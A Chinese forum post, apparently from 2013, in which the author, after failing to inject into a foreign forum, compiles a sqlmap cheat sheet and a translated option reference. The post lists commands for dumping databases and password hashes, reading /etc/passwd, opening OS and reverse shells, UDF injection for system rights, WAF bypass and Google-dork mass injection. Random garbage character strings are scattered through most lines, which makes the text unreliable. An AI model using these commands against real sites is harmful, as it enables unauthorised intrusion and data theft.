今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入，实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法，，直接做个记录、、3 g# t# V1 b, ~# z3 [2 i
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
& t2 b# k4 k! ]1 U' E+ f% ]( Ysqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名: c& w# E4 o( y& w/ }: Z3 J
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
# |" q; X6 h2 w
2 H) w4 J+ }' X' N) n/ R9 M/ p# c0 jsqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
6 H6 f4 S: M5 m. q1 v. o: `! W4 h0 #获取字段内容0 J3 i6 v$ ]8 t4 D" N
8 b; X6 r: @. `+ d! ~
******************信息获取******************9 B4 g. t9 n: S1 u+ N& U$ f
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型3 @ X9 G) O; H4 M' e9 e
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
) a9 \) N. S6 ?! f* Nsqlmap -u “http://url/news?id=1″ –dbs#列数据库4 e" k4 x2 L; y5 R; ~! c6 O
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码! {( m$ j& o# {; ~
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
5 k$ i' p4 J0 W( ]+ J% Qsqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”" I) @, O/ Y# v; x
–start 1 –stop 20 #列出指定字段，列出20 条
1 T9 y' R7 z9 H! s' a" P" Ksqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表6 e- L( z" D7 ?/ _( h5 {0 f5 i
sqlmap -u “http://url/news?id=1″ –privileges #查看权限! Z& G# m- ?- o- `' U
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色% F) ?1 {6 @2 q
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数（获取 系统权限！）& `6 n% y0 E( |' }7 n% x
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表! p1 `2 Q1 u$ ~: v
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录" r, r" T9 |% R6 n: ]# s$ s
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入# A- r6 M9 b% z9 e, i
sqlmap -u “http://url/news?id=1″-b #获取banner信息
3 Q' f8 a0 M0 n% ^' Fsqlmap -u “http://url/news?id=1″ –data “id=3″#post注入, F2 ]# ?* v$ Q* g
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
; k U; n5 w* D( Vsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
6 A# ]6 \" F: dsqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
; a0 P% O# C+ L' }5 tsqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
; Y8 E0 O/ f! h( M5 [sqlmap -u “http://url/news?id=1″ –file /etc/passwd/ `7 E c: D! n0 R1 y4 E* _
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
3 B( Y) ]- X1 Z& o" gsqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
1 q% I. |/ s1 n$ V2 msqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
% g+ ~' _6 f4 {sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度4 z* U; j4 R& h+ j5 S, b0 {
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度9 q' L! z! ]5 d
***********高级用法*************! L) O: J- |: k1 ^
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
@" O, _; ?( ]5 A( ~6 m' c, dsqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
: U. F& i. k K$ A/ X, K5 ?–technique 测试指定注入类型\使用的技术
) o( S! {3 l, S' W) V不加参数默认测试所有注入技术 P ]/ E& v6 w8 k
• B: 基于布尔的SQL 盲注 u! w# |& A, b1 u5 G6 O
• E: 基于显错sql 注入
+ W+ e) ~, N" {) ^/ q1 b0 Y- L: d" M• U: 基于UNION 注入3 d$ `# c3 Q' R1 G# T U% O6 t ]
• S: 叠层sql 注入
) v$ C( A. A$ X. I9 W• T: 基于时间盲注
0 |+ V) S0 m% R. S–tamper 通过编码绕过WEB 防火墙（WAF）Sqlmap 默认用char()5 t. T5 N3 j' t9 } n
–tamper 插件所在目录) l6 _1 C0 d4 ^7 u
\sqlmap-dev\tamper. b; g6 r& @5 w v! {5 ]5 E
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
5 u9 j* x5 Q; A: r2 f0 L Qlevel 执行测试等级 攻击实例:3 f: N) U$ e9 ~: @" }
Sqlmap -u “http://url/news?id=1&Submit=Submit”: L0 T+ G; n& l0 ^8 v
–cookie=”PHPSESSID=41aa833e6d0d* c( Y' l5 Q8 x# m* _0 I9 k
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
& l8 k6 C( j, d+ Q) Q–password
% c6 e, O1 ^8 S. G& b参考文档:http://sqlmap.sourceforge.net/doc/README.html
) m" w) |) }) X0 Y' \9 F3 m***********安装最新版本*************' ]1 w( @2 N! ^6 p5 @0 E- E
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版: a' A* ~6 V8 p- u3 _
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev# p' z/ ~4 M; L! P
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
8 L! k# R% C! usudo vim /home/当前用户/.bashrc
/ Z. g' B9 B" Y2 x#任意位置加上：8 P' f' {- s: F
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效0 U6 ^/ V, j7 t0 m+ U* {
如果想对所有用户有效 可设置全局 编辑下面的文件
" H5 ]3 j7 K* P! n) D- n }; A+ F& mvim /etc/profile
/ c3 R/ `: u3 R( R* f# N" w4 |同样加上：# X% c) H+ l; S! k5 ?2 b6 ], `
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
( H; |5 _+ c7 V% @0 ]******************windows 7 (x64) sqlmap install (SVN)************+ K8 y5 }5 W. o& u7 \
http://www.python.org/getit/ 安装python8 v% u6 Y' t) Q
http://www.sliksvn.com/en/download 安装windows svn client
: F; |% m: X* h! B+ O6 N$ Isvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev8 ^$ N! {7 r' L7 j8 P; A2 j
安装sqlmap/ i$ b" f4 \' ?1 {. E
*修改环境变量0 [; t" k( O4 o2 e8 N* t
–version 显示程序的版本号并退出, [3 ]" r& H, z7 A. s
-h, –help 显示此帮助消息并退出
. {+ d2 a$ `3 I( Z-v VERBOSE 详细级别：0-6（默认为1）, ^* x3 } C! n4 [
Target（目标）： 以下至少需要设置其中一个选项，设置目标URL。4 P8 U t3 t; p8 n3 u7 U
-d DIRECT 直接连接到数据库。
3 ^! {7 y' `* W, ?-u URL, –url=URL 目标URL。- w7 t+ Y" ~% \+ l
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。
7 [6 j4 [, H7 L/ S4 M* ^3 p-r REQUESTFILE 从一个文件中载入HTTP 请求。
, f( b: E! \# E$ I" U* v2 U-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
' }# E3 N8 G& S, \-c CONFIGFILE 从INI 配置文件中加载选项。
" c, E3 N8 I8 ]3 a9 tRequest（请求）：:0 S" e: S( L6 |" ?* E
这些选项可以用来指定如何连接到目标URL。
?& r1 }& O# h–data=DATA 通过POST 发送的数据字符串' ~6 [+ `- v) Q& Z
–cookie=COOKIE HTTP Cookie 头
4 n- _( ]' i! h: U' C8 s–cookie-urlencode URL 编码生成的cookie 注入
9 O7 ~. a# n# q" f" F–drop-set-cookie 忽略响应的Set –Cookie 头信息/ O2 `9 b$ O7 M# `7 J
+ M( c% f- q" J' N L6 d A–user-agent=AGENT 指定 HTTP User –Agent 头
. a7 k7 A! Y3 ~* S; [$ U; k+ W–random-agent 使用随机选定的HTTP User –Agent 头
, C* e, \( h T$ }$ x# K4 g' a; M–referer=REFERER 指定 HTTP Referer 头
$ Q/ J8 H: X% v% {6 b0 R–headers=HEADERS 换行分开，加入其他的HTTP 头8 R& _8 J$ u+ p* @
–auth-type=ATYPE HTTP 身份验证类型（基本，摘要或NTLM）(Basic, Digest or NTLM)
& ~* X, H3 S/ Q. h; T4 r) M0 J–auth-cred=ACRED HTTP 身份验证凭据（用户名:密码）% g4 e/ C/ j6 y0 d9 _
–auth-cert=ACERT HTTP 认证证书（key_file，cert_file）
" s6 G0 v! t7 W* f1 t( p& a8 i+ P1 Y: h–proxy=PROXY 使用HTTP 代理连接到目标URL
7 ^% {3 y4 ~7 V* L R8 F' c–proxy-cred=PCRED HTTP 代理身份验证凭据（用户名：密码）
$ S" z O; {3 x- a4 c" w–ignore-proxy 忽略系统默认的HTTP 代理$ W7 |, ^7 x0 q' p2 y% v0 z7 t3 @
–delay=DELAY 在每个HTTP 请求之间的延迟时间，单位为秒% O$ e; d- L l/ s5 t; g1 f' j
–timeout=TIMEOUT 等待连接超时的时间（默认为30 秒）
5 [+ F5 J0 V. @" m–retries=RETRIES 连接超时后重新连接的时间（默认3）
% m3 k) k" z, r3 a–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
5 V5 {" j$ C9 u3 l% O7 O2 k–safe-url=SAFURL 在测试过程中经常访问的url 地址' M6 T$ } s% j) R
–safe-freq=SAFREQ 两次访问之间测试请求，给出安全的URL
r6 p- w0 H' J9 r* dOptimization（优化）： 这些选项可用于优化SqlMap 的性能。
4 S; m( W8 p- C8 ~% L" K-o 开启所有优化开关. ^& E$ u" a U
–predict-output 预测常见的查询输出6 |. b7 m! }3 _) k3 x0 g
–keep-alive 使用持久的HTTP（S）连接
' T: M0 M, q- Z* n" D6 l' T8 ?–null-connection 从没有实际的HTTP 响应体中检索页面长度( M& E3 ]5 K9 u+ E9 h
–threads=THREADS 最大的HTTP（S）请求并发量（默认为1）
. |( W9 Q+ D; L# b1 S" b" mInjection（注入）：
3 s$ p8 g1 b# h这些选项可以用来指定测试哪些参数， 提供自定义的注入payloads 和可选篡改脚本。- @: Z" v2 p+ [) w& m
-p TESTPARAMETER 可测试的参数（S）
* W& r" w3 m( d. m# x–dbms=DBMS 强制后端的DBMS 为此值1 B( M3 V, v9 m
–os=OS 强制后端的DBMS 操作系统为这个值! Y4 }9 @5 r$ h
–prefix=PREFIX 注入payload 字符串前缀
( S( k) I, `8 y# t# ^3 H–suffix=SUFFIX 注入 payload 字符串后缀6 u# s# H, j( w8 [& u. u6 f- v
–tamper=TAMPER 使用给定的脚本（S）篡改注入数据
" f# [8 }6 h$ Y+ {; O0 yDetection（检测）：
* \. g5 r) D% p这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
9 |# j. h: E$ S4 T$ P–level=LEVEL 执行测试的等级（1-5，默认为1）
8 }5 Q* k. F. |. |–risk=RISK 执行测试的风险（0-3，默认为1）" Z/ F5 F% t! s
–string=STRING 查询时有效时在页面匹配字符串5 Z% S2 r! z1 o2 n
–regexp=REGEXP 查询时有效时在页面匹配正则表达式, M4 L$ d! _. `
–text-only 仅基于在文本内容比较网页$ y& F% ?9 Y9 O2 z. e3 h0 p( z3 n' C6 q
Techniques（技巧）： 这些选项可用于调整具体的SQL 注入测试。
2 G M0 T' \! N( b+ s! K3 L/ ^–technique=TECH SQL 注入技术测试（默认BEUST）
9 L5 S( b0 k( s$ ]% A–time-sec=TIMESEC DBMS 响应的延迟时间（默认为5 秒）
* ~7 e4 O: O& E' Q8 l/ k$ b–union-cols=UCOLS 定列范围用于测试UNION 查询注入
. X; D& m9 A- l) T–union-char=UCHAR 用于暴力猜解列数的字符$ l, t: `& y, q$ A6 U
Fingerprint（指纹）：
7 B1 \$ D/ z/ N& B! {3 n-f, –fingerprint 执行检查广泛的DBMS 版本指纹
8 a3 P: P D, y2 S VEnumeration（枚举）：% U, F0 b7 E( V$ r5 D8 L, Q. Z; B
5 Q# D- {+ u# J* Z# {+ n/ t这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外，您还可以运行您自己 的SQL 语句。
& j4 Y( r0 o+ h; ^( @3 C-b, –banner 检索数据库管理系统的标识; `) G; \; \# G) P9 i) S# u
–current-user 检索数据库管理系统当前用户
h4 o4 D$ x- C3 S; w7 \–current-db 检索数据库管理系统当前数据库
. ]- Y- R5 h- R# r5 c, }" h/ V–is-dba 检测DBMS 当前用户是否DBA6 b8 S2 I+ q& o! _) T/ n
–users 枚举数据库管理系统用户! q' Z; ~: o6 |+ b
–passwords 枚举数据库管理系统用户密码哈希
0 H+ t1 e! z' {5 ^& S–privileges 枚举数据库管理系统用户的权限
' v5 h4 i# k6 t' c; j–roles 枚举数据库管理系统用户的角色$ a8 d! \+ K) U) y6 g
–dbs 枚举数据库管理系统数据库
! @6 d3 D" ^3 @; y. m, W4 [–tables 枚举的DBMS 数据库中的表
0 h0 U8 ^ T, a7 V2 k# D0 n; c–columns 枚举DBMS 数据库表列7 g+ @. G0 l8 S. @$ F* r4 E; C
–dump 转储数据库管理系统的数据库中的表项
- z K! p* s; O) }, a–dump-all 转储所有的DBMS 数据库表中的条目
. N u- f) i* e+ b–search 搜索列（S），表（S）和/或数据库名称（S）
* u9 n/ I" g/ v, X' @$ {3 h-D DB 要进行枚举的数据库名- ]; d& u N& T7 E" L. C3 t
-T TBL 要进行枚举的数据库表3 n V) i' i' B. F6 Q) @8 y+ U
-C COL 要进行枚举的数据库列
$ v6 v8 i$ ]4 P% E4 f: H-U USER 用来进行枚举的数据库用户: t% Z! O; j1 c, k8 |0 w7 ]- K
–exclude-sysdbs 枚举表时排除系统数据库
! ^; q+ s* p3 {' ~; d3 C$ C–start=LIMITSTART 第一个查询输出进入检索" J* [: _4 F( ]& a1 }$ x$ ~
–stop=LIMITSTOP 最后查询的输出进入检索! [8 |+ M, l' Z+ _
–first=FIRSTCHAR 第一个查询输出字的字符检索
+ F3 @5 ~& `/ q* L& u) J. z–last=LASTCHAR 最后查询的输出字字符检索& r: Z( g* g( w4 o
–sql-query=QUERY 要执行的SQL 语句5 }7 M1 q/ h! ?, h$ f# o# j/ x- |. h
–sql-shell 提示交互式SQL 的shell5 v) Q* V4 g1 E7 z7 j& `
Brute force（蛮力）： 这些选项可以被用来运行蛮力检查。. a( u+ s: Z* t( R9 N1 z
–common-tables 检查存在共同表0 C3 ]! g$ b; l
–common-columns 检查存在共同列
4 Q# v8 S3 h, iUser-defined function injection（用户自定义函数注入）： 这些选项可以用来创建用户自定义函数。
7 f. N* ?9 `: G. P* R–udf-inject 注入用户自定义函数- Q, |$ D7 [7 ]/ K$ d9 h$ e# E
–shared-lib=SHLIB 共享库的本地路径- X+ \! [5 B# u
File system access（访问文件系统）： 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
4 @# p7 ^9 E% N7 B–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
6 o5 G P) [8 H8 G% c–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件6 M% r& P6 V/ }
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径; {$ D/ O6 K/ D) _% |# w' B# B" Y; ^
Operating system access（操作系统访问）： 这些选项可以用于访问后端数据库管理系统的底层操作系统。/ o4 H% b% N! w& ^3 I
–os-cmd=OSCMD 执行操作系统命令5 t6 D/ Y: G6 g1 B# {7 Q/ a
–os-shell 交互式的操作系统的shell
[2 _' e# S* q; i1 J–os-pwn 获取一个OOB shell，meterpreter 或VNC& |7 y3 r" n! C) S4 `: ~' c! c
–os-smbrelay 一键获取一个OOB shell，meterpreter 或VNC2 V9 z0 x2 ~$ j" K% Q/ b
–os-bof 存储过程缓冲区溢出利用$ g0 t6 B9 E6 y r6 M
–priv-esc 数据库进程用户权限提升- o; l S& [1 A0 P
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
& M9 f9 C8 T/ t- X–tmp-path=TMPPATH 远程临时文件目录的绝对路径! L9 \! {* m' N \
0 [* c3 g E( ^- OWindows 注册表访问： 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
, A& Y A9 S6 s) O–reg-read 读一个Windows 注册表项值
, {5 x: L5 d( j S+ f& W1 W–reg-add 写一个Windows 注册表项值数据) f; g, \5 p J; x0 L* l
–reg-del 删除Windows 注册表键值' T1 J8 S; j1 V( x
–reg-key=REGKEY Windows 注册表键
% d; u$ r* y7 r–reg-value=REGVAL Windows 注册表项值* t. ?) t5 i* _& ~4 O4 w# G
–reg-data=REGDATA Windows 注册表键值数据
3 _8 b0 y- S9 R8 ~/ V9 b–reg-type=REGTYPE Windows 注册表项值类型
* l% F' l. @- ~3 ?! x& {( `General（一般）： 这些选项可以用来设置一些一般的工作参数。6 S! R" A! r5 Q6 c+ j
-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中9 V A7 i. n+ {
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
: I, D$ d1 y7 C0 _7 W–flush-session 刷新当前目标的会话文件
3 U. B, W3 j2 w2 p5 }/ `–fresh-queries 忽略在会话文件中存储的查询结果% v6 x0 U9 n# c- t- L6 y
–eta 显示每个输出的预计到达时间
3 e, C6 U4 W" I+ Y( _–update 更新SqlMap* _: e! Y. U3 `2 Z1 F
–save file 保存选项到INI 配置文件
. ]/ S" _6 C' _7 ^–batch 从不询问用户输入，使用所有默认配置。
$ M6 I' o" P% G! k/ RMiscellaneous（杂项）：% K W/ R" y2 @5 G
–beep 发现SQL 注入时提醒
* L: J6 J; M' P2 b3 u–check-payload IDS 对注入payloads 的检测测试
2 ~) x8 R( v* v7 S–cleanup SqlMap 具体的UDF 和表清理DBMS
8 w6 M0 A e* C0 ^–forms 对目标URL 的解析和测试形式, x, J; \/ S2 C s3 p6 f4 e2 s3 A
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果2 A: Z4 P9 d5 Q! M/ W4 B; h
–page-rank Google dork 结果显示网页排名（PR）
- w7 |5 {( J* H3 m8 i) x–parse-errors 从响应页面解析数据库管理系统的错误消息! e! B1 j2 K1 ~4 ?; @$ T3 a
–replicate 复制转储的数据到一个sqlite3 数据库
D& Q/ T" d' w- I/ s" G* \3 s–tor 使用默认的Tor（Vidalia/ Privoxy/ Polipo）代理地址
" X5 U0 u! A; Q5 o( Q–wizard 给初级用户的简单向导界面 |
发表于 2013-4-4 22:26:32
收藏
支持
反对